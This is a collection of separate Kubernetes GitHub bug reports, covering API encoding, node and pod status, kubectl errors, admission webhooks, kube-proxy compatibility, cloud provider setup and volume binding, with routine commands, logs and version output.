when we submit the resource object containing large integer, its field is encoded as floating point with exponents, like 1.03e+9.  we want to encode the number in integer, not floating point, since with the latter we may lose precision, and go cannot decode such field into int64.  for example, submitting the following third party resource object:      apiversion: foo.example.com/v1alpha1 kind: foo metadata:   name: f1 spec:   num: 1000000009      and getting result from apiserver looks like this:      \ size\ :1.000000009e+09      small integer, like 100, is encoded as just 100 as we expected.  we use kuberentes 1.4.0-alpha.2

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.0\ , gitcommit:\ 58b7c16a52c03e4a849874602be42ee71afdcab1\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t23:35:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.0\ , gitcommit:\ 3ed7d0f453a5517245d32a9c57c39b946e578821\ , gittreestate:\ clean\ , builddate:\ 2017-01-13t00:23:19z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos\r -   others  : deployed with kube-aws\r \r \r \r recently i could see on my kubernetes cluster, pods are going to \ unkown\  state very frequently. to fix the issue i need to reboot complete kubernetes cluster. \r also when  kubectl get nodes  done there are some nodes with  not ready  status.\r \r    \r ~/w/d/k8s ❯❯❯ kubectl get pods -l component=elasticsearch\r name                         ready     status              restarts   age\r elasticsearch-data-0         0/1       containercreating   0          1m\r es-client-3517689774-2mnsx   1/1       unknown             0          48m\r es-client-3517689774-61234   1/1       running             0          2m\r es-client-3517689774-c0gbv   1/1       unknown             0          48m\r es-client-3517689774-q380f   1/1       running             0          2m\r es-master-3262811024-41r9z   1/1       running             0          2m\r es-master-3262811024-cv6m1   1/1       running             0          2m\r es-master-3262811024-l62lv   1/1       running             0          21m\r es-master-3262811024-w29h4   1/1       unknown             0          49m\r es-master-3262811024-zgjkr   1/1       unknown             0          49m\r    \r \r \r    conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tunknown \tfri, 27 jan 2017 21:16:34 +0530 \tfri, 27 jan 2017 21:17:19 +0530 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   memorypressure \tfalse \t\tfri, 27 jan 2017 21:16:34 +0530 \tfri, 13 jan 2017 07:21:43 +0530 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \t\tfri, 27 jan 2017 21:16:34 +0530 \tfri, 13 jan 2017 07:21:43 +0530 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\tunknown \tfri, 27 jan 2017 21:16:34 +0530 \tfri, 27 jan 2017 21:17:19 +0530 \tnodestatusunknown \t\tkubelet stopped posting node status.\r

to reproduce, one needs to pass the --runtime-config=admissionregistration.k8s.io/v1alpha1 flag when enabling the apiserver, to enable the alpha api; and one needs to create an externaladmissionhookconfiguration or initializerconfiguration first.\r \r then, if curl the url directly, the result is correct:\r    \r $ curl http://127.0.0.1:8080/apis/admissionregistration.k8s.io/v1alpha1/externaladmissionhookconfigurations\r {\r   \ kind\ : \ externaladmissionhookconfigurationlist\ ,\r   \ apiversion\ : \ admissionregistration.k8s.io/v1alpha1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /apis/admissionregistration.k8s.io/v1alpha1/externaladmissionhookconfigurations\ ,\r     \ resourceversion\ : \ 11054\ \r   },\r   \ items\ :  \r     {\r       \ metadata\ : {\r         \ name\ : \ example-config\ ,\r         \ selflink\ : \ /apis/admissionregistration.k8s.io/v1alpha1/externaladmissionhookconfigurations/example-config\ ,\r         \ uid\ : \ 9dce70d9-587b-11e7-9495-64510650ab1c\ ,\r         \ resourceversion\ : \ 10856\ ,\r         \ generation\ : 1,\r         \ creationtimestamp\ : \ 2017-06-24t01:22:40z\ \r       },\r       \ externaladmissionhooks\ :  \r         {\r           \ name\ : \ pod-image.k8s.io\ ,\r           \ clientconfig\ : {\r             \ service\ : {\r               \ namespace\ : \ default\ ,\r               \ name\ : \ webhook\ \r             },\r     ...\r     }\r    \r }\r    \r \r but if running  kubectl get externaladmissionhookconfigurations.admissionregistration.k8s.io  or  kubectl get externaladmissionhookconfigurations , the result is:\r    \r error: unknown type  admissionregistration.externaladmissionhookconfiguration, expected unstructured in map reflect.type  printers.handlerentry{  reflect.rtype  0x184e520 :  printers.handlerentry  0xc420345bd0 ,   reflect.rtype  0x184f320 :  printers.handlerentry  0xc420345d10 ,   reflect.rtype  0x184d800 :  printers.handlerentry  0xc420108ff0 ,   reflect.rtype  0x1925b60 :  printers.handlerentry  0xc420109400 ,   reflect.rtype  0x184e360 :  printers.handlerentry  0xc420109ae0 ,   reflect.rtype  0x184d1e0 :  printers.handlerentry  0xc42001cf50 ,   reflect.rtype  0x192b4a0 :  printers.handlerentry  0xc4203454f0 ,   reflect.rtype  0x184efa0 :  printers.handlerentry  0xc4203456d0 ,   reflect.rtype  0x192a4e0 :  printers.handlerentry  0xc4203451d0 ,   reflect.rtype  0x192af60 :  printers.handlerentry  0xc420345770 ,   reflect.rtype  0x1925620 :  printers.handlerentry  0xc420109180 ,   reflect.rtype  0x1928d40 :  printers.handlerentry  0xc4201097c0 ,   reflect.rtype  0x1928560 :  printers.handlerentry  0xc420109900 ,   reflect.rtype  0x184d100 :  printers.handlerentry  0xc42001c410 ,   reflect.rtype  0x184e280 :  printers.handlerentry  0xc4203447d0 ,   reflect.rtype  0x184cae0 :  printers.handlerentry  0xc420344f50 ,   reflect.rtype  0x192b9e0 :  printers.handlerentry  0xc420345c70 ,   reflect.rtype  0x184d9c0 :  printers.handlerentry  0xc420109540 ,   reflect.rtype  0x184e1a0 :  printers.handlerentry  0xc420109ea0 ,   reflect.rtype  0x1924ba0 :  printers.handlerentry  0xc4203440f0 ,   reflect.rtype  0x1923be0 :  printers.handlerentry  0xc4203449b0 ,   reflect.rtype  0x1928aa0 :  printers.handlerentry  0xc420345950 ,   reflect.rtype  0x184ede0 :  printers.handlerentry  0xc420109360 ,   reflect.rtype  0x184ea60 :  printers.handlerentry  0xc420109680 ,   reflect.rtype  0x184e7c0 :  printers.handlerentry  0xc420109d60 ,   reflect.rtype  0x1923e80 :  printers.handlerentry  0xc420109f40 ,   reflect.rtype  0x184dc60 :  printers.handlerentry  0xc42001db30 ,   reflect.rtype  0x184f160 :  printers.handlerentry  0xc4203453b0 ,   reflect.rtype  0x184dd40 :  printers.handlerentry  0xc420109c20 ,   reflect.rtype  0x19260a0 :  printers.handlerentry  0xc42001d810 ,   reflect.rtype  0x184e8a0 :  printers.handlerentry  0xc420345130 ,   reflect.rtype  0x192acc0 :  printers.handlerentry  0xc420345630 ,   reflect.rtype  0x192b740 :  printers.handlerentry  0xc420345e00 ,   reflect.rtype  0x184e600 :  printers.handlerentry  0xc420109860 ,   reflect.rtype  0x1929280 :  printers.handlerentry  0xc420109cc0 ,   reflect.rtype  0x184d720 :  printers.handlerentry  0xc420344190 ,   reflect.rtype  0x1929fa0 :  printers.handlerentry  0xc420344410 ,   reflect.rtype  0x1927d80 :  printers.handlerentry  0xc420344730 ,   reflect.rtype  0x19250e0 :  printers.handlerentry  0xc420109040 ,   reflect.rtype  0x192aa20 :  printers.handlerentry  0xc4201092c0 ,   reflect.rtype  0x1924900 :  printers.handlerentry  0xc42001c870 ,   reflect.rtype  0x184cf40 :  printers.handlerentry  0xc420344370 ,   reflect.rtype  0x184eb40 :  printers.handlerentry  0xc420344d70 ,   reflect.rtype  0x184d8e0 :  printers.handlerentry  0xc420109220 ,   reflect.rtype  0x1929a60 :  printers.handlerentry  0xc4201095e0 ,   reflect.rtype  0x1927060 :  printers.handlerentry  0xc420109e00 ,   reflect.rtype  0x192b200 :  printers.handlerentry  0xc420345310 ,   reflect.rtype  0x184f240 :  printers.handlerentry  0xc420345f40 ,   reflect.rtype  0x184e440 :  printers.handlerentry  0xc4201099a0 ,   reflect.rtype  0x19282c0 :  printers.handlerentry  0xc420109a40 ,   reflect.rtype  0x1924660 :  printers.handlerentry  0xc42001d540 ,   reflect.rtype  0x184d480 :  printers.handlerentry  0xc42001d5e0 ,   reflect.rtype  0x184d640 :  printers.handlerentry  0xc42001de50 ,   reflect.rtype  0x192a240 :  printers.handlerentry  0xc420344c30 ,   reflect.rtype  0x184db80 :  printers.handlerentry  0xc42001d8b0 ,   reflect.rtype  0x1928fe0 :  printers.handlerentry  0xc420344550 ,   reflect.rtype  0x184d020 :  printers.handlerentry  0xc420344a50 ,   reflect.rtype  0x1923400 :  printers.handlerentry  0xc420344e60 ,   reflect.rtype  0x18db680 :  printers.handlerentry  0xc4202d2000 ,   reflect.rtype  0x184daa0 :  printers.handlerentry  0xc42001d450 ,   reflect.rtype  0x19265e0 :  printers.handlerentry  0xc42001d9f0 ,   reflect.rtype  0x184ec20 :  printers.handlerentry  0xc4203444b0 ,   reflect.rtype  0x1929520 :  printers.handlerentry  0xc420344ff0 ,   reflect.rtype  0x1926dc0 :  printers.handlerentry  0xc4202d20a0 ,   reflect.rtype  0x184e0c0 :  printers.handlerentry  0xc4202d2140 ,   reflect.rtype  0x184d560 :  printers.handlerentry  0xc42001c960 ,   reflect.rtype  0x1924120 :  printers.handlerentry  0xc42001ce10 ,   reflect.rtype  0x1923940 :  printers.handlerentry  0xc420344230 ,   reflect.rtype  0x184e980 :  printers.handlerentry  0xc420344b90 ,   reflect.rtype  0x184f080 :  printers.handlerentry  0xc420345590 ,   reflect.rtype  0x184eec0 :  printers.handlerentry  0xc4203458b0 ,   reflect.rtype  0x184d2c0 :  printers.handlerentry  0xc42001d2c0 ,   reflect.rtype  0x1925e00 :  printers.handlerentry  0xc42001d360 ,   reflect.rtype  0x1926340 :  printers.handlerentry  0xc420109b80 ,   reflect.rtype  0x1924e40 :  printers.handlerentry  0xc42001dd60 ,   reflect.rtype  0x19297c0 :  printers.handlerentry  0xc420344af0 ,   reflect.rtype  0x184ed00 :  printers.handlerentry  0xc420345270 ,   reflect.rtype  0x19243c0 :  printers.handlerentry  0xc42001d040 ,   reflect.rtype  0x184e6e0 :  printers.handlerentry  0xc4203445f0 }\r    \r \r server/client version:\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.305+2fa41942b6072d\ , gitcommit:\ 2fa41942b6072d37aa48b80e49eb45f55aa8dca4\ , gittreestate:\ clean\ , builddate:\ 2017-06-23t23:12:22z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.305+2fa41942b6072d\ , gitcommit:\ 2fa41942b6072d37aa48b80e49eb45f55aa8dca4\ , gittreestate:\ clean\ , builddate:\ 2017-06-23t23:12:22z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r  /  \r   what happened  :\r from https://k8s-testgrid.appspot.com/google-gce gci-gce-slow&sort-by-failures=&width=5,\r  services should function for client ip based session affinity: udp/http  seems to be broken right after they were added by https://github.com/kubernetes/kubernetes/pull/50447.\r \r example error message:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:225\r oct 11 16:39:42.406: expect endpoints: map  , got: map netserver-1:{} \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:222\r    \r and\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:249\r oct 11 16:37:49.106: test session affinity, cost time: 1m31.742990485s\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:248\r    \r \r   anything else we need to know?  :\r @m1093782566 is it as expected?\r

  /assign\r \r   what happened  :\r for events being generated within the gce cloudprovider, slices of firewall parameters are not being sorted before converted into a string. due to random ordering, this may result in the same line being repeated.\r \r

 \r   what happened  : apiserver returns internalerror for  kubectl exec  when validatingwebhookconfiguration matches pods/exec resource.\r \r   what you expected to happen  : webhook should be invoked and admission control decision should be enforced on connect operation\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   create a pod to connect to\r $ kubectl create -f nginx-pod.yml\r    \r \r    \r   verify that exec works before creating validatingwebhookconfiguration\r $ kubectl exec -it nginx hostname\r nginx\r    \r \r    \r   create validatingwebhookconfiguration that matches pods/exec resource\r $ cat webhook-registration.yaml\r kind: validatingwebhookconfiguration\r apiversion: admissionregistration.k8s.io/v1beta1\r metadata:\r   name: webhook\r webhooks:\r   - name: webhook.example.com\r     rules:\r       - operations:  \ connect\  \r         apigroups:  \  \  \r         apiversions:  \  \  \r         resources:  \ pods/exec\  \r     clientconfig:\r       service:\r         namespace: foo\r         name: bar\r       cabundle: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsunyrendqvprq0nrq00wnnplbi9qr2zequ5cz2txagtprzl3mejbuxngqurbwe1svxdfd1levlfrrerbeggkwkcxcgmztnbimjvmwtjfd0lcy05nvgd3twpfd01uwtfnve0xv2hnue1qstvnvev4twpzee5qvxhnelzhtujjeapgvefuqmdovkjbtu1er0zryldsemmybhzibdlqwvrdq0ftsxdeuvlks29aswh2y05buuvcqlfbrgdnrvbbrendckfrb0nnz0vcqutkvtdam2p0b2hiee9wrgw5dnfntkxuowgxnvpvexn3bevozisrvi9ueuhsa0q2ek1mzgzprfqkmxfbl1cvazixajrpuudfrjrqqkfhcgxesjvyz3e0qnm2turwdjniqxzydudtb2xrykvns25itldzwmdkakzndqpnzmu4q2pyntfvuku5nlhlouxyt2puvflxamtscfgrmstjsjrjzuhdvmhmb281tu9xaxhauhhktfgyr0xicvnsckprbxgyqzrkwktbqwe2azfiumvpnenas2ntrgzyumkws21ruuzerjdzr0jwbzrbrtzcnhfizm43ctbxd3dwreikaujetkd2cgtqujrvy3myewtwrstmbdyxau1as3pkbm1jylrsvhfdk1pfl1pmanniehvwzdvmwm1rcw1na0xlagpiqnhrakywnxyxsy90mfexbuvutvpovlvtb0pia0lrq0f3rufbvefoqmdrcwhrauc5dzbcqvfzrkfbt0nbuuvbckjoouyyn2zmb2m0nunrctaynvhlzhrwdlh5owrtu2tssmjvmghjstjjavhheexvzkdbdfdfdm56zdvnd0fxslokq1ltt2zzmct6whnozfe4dxvtvvfzove5dlcxcmlbuxq5tfvpwevkk3nva1zxbm43mxu5n0rut2nks3vkl1jsuqpvdfrtzu1ietf2cuhywufreuhrtlp2nmdyawrkahfrufjrejjhnjfunddnn21sl2szqvvwdhnuefvjy0mrtzzycjzhekpdaxg4zen0cmjpnctlcfu5y1vkdc96zjgznxfvz211qtyvsxnnqi9zcss0a2rim0krzy9xqtfic0sram4kd3dmzersvfvpd1q1thk3t1lwbexsnlr4yvd3wjyzs21ubhm5q0plbmy2vngwl1f6vncwb1ztzzq3chdzzxzxuwpzcvfjwnblmzb5qmhlsgpnzeuvavfnpt0kls0tls1ftkqgq0vsvelgsunbveutls0tlqo=\r \r $ kubectl create -f webhook-registration.yaml\r validatingwebhookconfiguration \ webhook\  created\r    \r \r    \r   try to exec into container after creating validatingwebhookconfiguration\r $ kubectl exec -it nginx hostname\r error from server  internalerror : internal error occurred: converting  rest.connectrequest  to  v1.pod : typemeta not present in src\r    \r \r   environment  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r tested on minikube v0.25\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i created a namespace, then tried to get pods in it, but misspelled the namespace. the message was that there were no resources, which is not wrong. but it was clearer to me when i tried to describe the namespace and was told that the namespace did not exist:\r \r    \r ~ $ kubectl create ns linuxcon\r namespace \ linuxcon\  created\r ~ $ kubectl get ns\r name          status    age\r default       active    89d\r kube-public   active    89d\r kube-system   active    89d\r linuxcon      active    3s\r ~ $ kubectl get pods -n linuxctl <-- this is me misspelling\r no resources found.\r ~ $ kubectl describe ns linuxctl\r error from server  notfound : namespaces \ linuxctl\  not found <-- oh. right.\r    \r \r   what you expected to happen  :\r getting objects in an invalid namespace would tell me that the namespace is invalid:\r \r    \r ~ $ kubectl get pods -n linuxctl\r error from server  notfound : namespaces \ linuxctl\  not found\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r see above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.0\r - cloud provider or hardware configuration: mac \r - os  e.g. from /etc/os-release : macos 10.13.3\r - kernel  e.g.  uname -a  : darwin kernel version 17.4.0\r - install tools:\r - others:\r

\r  \r in current implementation kubernetes doesn't get ip address from cni output,\r it gets ip address from container's eth0  network.defaultinterfacename  interface\r in  network.getpodip . but there is possible use cases without eth0 inside container,\r e.g. vhostuser cni plugin, when it used w/o multus cni plugin. also there is no\r agreement to keep interface exactly with the eth0 name inside the container.\r \r expected behaviour: obtain ip address from cni output, due to there is use cases\r w/o veth pair, e.g. vhost-user type of ports. in any case relying on the name of\r interface is not so robust. cni spec says about veth as none mandatory type\r of interfaces.\r \r also cni specification v0.3.0 says that the list of ip addresses is possible,\r but that point is out of scope for this bug.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10 and higher\r - cloud provider or hardware configuration: doesn't matter\r - os  e.g. from /etc/os-release : doesn't matter\r - kernel  e.g.  uname -a  : doesn't matter\r - install tools:\r - others:\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?   no    what keywords did you search in kubernetes issues before filing this one?    type:issue proxy content-type  and  proxy \ no serializer\      is this a bug report or feature request?   bug report    kubernetes version        client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.4\ , gitcommit:\ a5949fea3a91d6a50f40a5684e05879080a4c61d\ , gittreestate:\ clean\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :            name=coreos   id=coreos   version=1122.2.0   version_id=1122.2.0   build_id=2016-09-06-1449   pretty_name=\ coreos 1122.2.0  moreos \    ansi_color=\ 1;32\    home_url=\ https://coreos.com/\    bug_report_url=\ https://github.com/coreos/bugs/issues\        -   kernel    e.g.  uname -a  : linux ip-10-1-1-133.us-west-2.compute.internal 4.7.0-coreos  1 smp tue sep 6 14:39:20 utc 2016 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux -   install tools  : ? -   others  : ?    what happened  : kube-proxy in v1.3.6 cannot interoperate with server version 1.1.4, because apiserver 1.1.4 does not speak protobuf and kube-proxy 1.3.6 does not speak json or yaml.  instead, kube-proxy logs are filled with:      i0908 16:05:28.054193       1 round_trippers.go:321  response status: 400 bad request in 91 milliseconds i0908 16:05:28.054208       1 round_trippers.go:324  response headers: i0908 16:05:28.054225       1 round_trippers.go:321  response status: 200 ok in 96 milliseconds i0908 16:05:28.054228       1 round_trippers.go:327      content-length: 302 i0908 16:05:28.054249       1 round_trippers.go:327      content-type: application/json i0908 16:05:28.054272       1 round_trippers.go:327      date: thu, 08 sep 2016 16:05:28 gmt i0908 16:05:28.054237       1 round_trippers.go:324  response headers: i0908 16:05:28.054300       1 round_trippers.go:327      content-type: application/json i0908 16:05:28.054318       1 round_trippers.go:327      date: thu, 08 sep 2016 16:05:28 gmt i0908 16:05:28.054234       1 proxier.go:453  added serviceinfo app/alchemy-search:http :   iptables.serviceinfo  0xc8206cbc20  {  clusterip:  net.ip   len=16 cap=16  10.20.0.72,  port:  int  80,  protocol:  api.protocol   len=3  \ tcp\ ,  nodeport:  int  31565,  loadbalancerstatus:  api.loadbalancerstatus  {   ingress:    api.loadbalanceringress  {   }  },  sessionaffinitytype:  api.serviceaffinity   len=4  \ none\ ,  stickymaxageseconds:  int  180,  externalips:    string  <nil>,  loadbalancersourceranges:    string  <nil> }  i0908 16:05:28.054410       1 proxier.go:440  adding new service \ default/maven:maven\  at 10.20.0.149:8081/tcp i0908 16:05:28.054461       1 request.go:891  response body: {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ the object provided is unrecognized  must be of type event : couldn't get version/kind; json parse error: invalid character 'k' looking for beginning of value\ ,   \ reason\ : \ badrequest\ ,   \ code\ : 400 }        what you expected to happen  : ideally, kube-proxy would make a capability request of some sort to apiserver to determine supported codecs and select a mutually supported codec. kube-proxy would therefore need to support json and/or yaml. secondarily, i tried setting --kube-api-content-type to both 'application/json' and 'application/yaml' and both were rejected by kube-proxy with a message like  f0908 16:05:02.834464       1 server.go:189  invalid api configuration: serializer for \ application/yaml\  not registered     how to reproduce it    as minimally and precisely as possible :  i _believe_ that starting a 1.1.4 controller and attempting to connect a 1.3.6 kube-proxy would reproduce this...    anything else do we need to know  : it's conceivable you don't want to support a version difference this big. i suppose i would understand that. it _seems_ like the change would just entail rebuilding kube-proxy so that it can speak json or yaml instead of just protobuf- this works for the minion kubelet just fine.

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r - os 4.9.5-200.fc25.x86_64\r - docker 1.12.6\r \r   what happened  :\r $ kubectl exec <pod> foobar\r rpc error: code = 13 desc = invalid header field value \ oci runtime error: exec failed: container_linux.go:247: starting container process caused \\\ exec: \\\\\\\ foobar\\\\\\\ : executable file not found in $path\\\ \ \ \r \r   what you expected to happen  :\r env: can't execute 'foobar': no such file or directory in path\r \r   how to reproduce it    as minimally and precisely as possible :\r see above, just exec and attempt to run a process that doesnt exist in the container.  the error message should not include the extra gorp as its unhelpful to the user.\r \r   anything else we need to know  :\r nope.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r kube controller manager crashes when creating svc type loadbalancer\r \r   what you expected to happen  :\r \r load balancer should be created automatically and properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add cloud prov parameter in kubeapiserver\r kube_api_args=\ --tls-cert-file=/etc/kubernetes/certs/server.crt --tls-private-key-file=/etc/kubernetes/certs/server.key --client-ca-file=/etc/kubernetes/certs/ca.crt --token-auth-file=/etc/kubernetes/tokens/known_tokens.csv --service-account-key-file=/etc/kubernetes/certs/server.crt --bind-address=0.0.0.0 --apiserver-count=1 --cloud-provider=azure --cloud-config=/etc/azure/azure.conf\ \r add parameter in controller manager\r \r kube_controller_manager_args=\ --kubeconfig=/etc/kubernetes/controller-manager.kubeconfig --service-account-private-key-file=/etc/kubernetes/certs/server.key --root-ca-file=/etc/kubernetes/certs/ca.crt --cloud-provider=azure --cloud-config=/etc/azure/azure.conf\ \r \r also added the cloud provider config to kubelet to check if that was the issue..\r \r   anything else we need to know?  :\r kubernetes was installed through ansible contrib. \r followed this tutorial to create the load balancerhttps://kubernetes.io/docs/tasks/access-application-cluster/load-balance-access-application-cluster/\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :azure\r - os  e.g. from /etc/os-release : name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r - kernel  e.g.  uname -a  : linux hostname 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r azure.conf has these values\r tenantid:\r subscriptionid:\r aadclientid:\r aadclientsecret:\r aadtenantid:\r resourcegroup: myservices\r location: eastus\r \r  \r  log.txt  https://github.com/kubernetes/kubernetes/files/1166002/log.txt \r

currently we don't check if disk is already attached : https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/photon_pd/attacher.go l73\r \r from what i remember it can cause some problems, but not sure, sorry for the mass tag @kerneltime @luomiao @abrarshivani

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : if someone requests a zero  0  capacity pvc and an administrator creates a zero  0  capacity pv, kubernetes will happily bind them together. unfortunately, any use of this pvc/pv combination by a pod will fail. it fails because the zero capacity pv cannot be formatted or mounted successfully.\r \r note: the same issue happens for dynamically provisioned pvs.\r \r   what you expected to happen  : i expect that kubernetes would not allow creation of invalid pvc and pv objects, aka zero  0  capacity pvs and pvcs.\r \r   how to reproduce it  as minimally and precisely as possible   : create a pod that requests a zero capacity pvc, using dynamic pv provisioning is simpler than creating your own zero  0  capacity pv. the pod will fail to reach a running state, since the related pv fails to be formatted and mounted successfully.\r \r here is the error that i received for a test i performed requesting a zero capacity pvc using ceph rbd:\r    \r failedmountunable to mount volumes for pod \ <snip-statefulset-app-0> f7493a4d-8799-11e7-9cda-1418774b3e9d \ : timeout expired waiting for volumes to attach/mount for pod \ <snip-statefulset-app-0>\ . list of unattached/unmounted volumes= www \r   \r failedsyncerror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ <snip-statefulset-app-0>\ . list of unattached/unmounted volumes= www \r \r failedmountmountvolume.setup failed for volume \ kubernetes.io/rbd/f7493a4d-8799-11e7-9cda-1418774b3e9d-pvc-f74584d5-8799-11e7-9cda-1418774b3e9d\   spec.name: \ pvc-f74584d5-8799-11e7-9cda-1418774b3e9d\   pod \ f7493a4d-8799-11e7-9cda-1418774b3e9d\   uid: \ f7493a4d-8799-11e7-9cda-1418774b3e9d\   with: rbd: failed to mount rbd volume /dev/rbd3    to /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-kubernetes-dynamic-pvc-f74b872e-8799-11e7-9704-14187746a5f7, error mount failed: exit status 32\r mounting command: mount\r mounting arguments: /dev/rbd3 /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-kubernetes-dynamic-pvc-f74b872e-8799-11e7-9704-14187746a5f7   defaults \r output: mount: /dev/rbd3: can't read superblock\r    \r \r   anything else we need to know?  :\r \r here is a related item with a specific fix for external ceph rbd provisioner: https://github.com/kubernetes-incubator/external-storage/pull/272\r \r   environment  :\r - nothing specific to environment

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r running conformance test and getting below error:\r    \r error at test/e2e_node/runtime_conformance_test.go:316:29: framework.conformanceit   called with non-literal argument\r    \r \r ref: https://github.com/kubernetes/kubernetes/pull/54837 issuecomment-345091220\r \r   what you expected to happen  :\r the conformance test can be run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r below line is in a for loop.\r https://github.com/kubernetes/kubernetes/blob/eff1a8463834c737da366b18cd7e65236e6a226e/test/e2e_node/runtime_conformance_test.go l316\r \r after changing it to  framework.conformanceit testcase.description, func   {  and run  bazel test //test/conformance/... , it throws the above error.\r \r   anything else we need to know?  :\r if changing the above line to  framework.conformanceit \ any literal string\ , func   { , the tests pass.\r \r /cc @mml \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

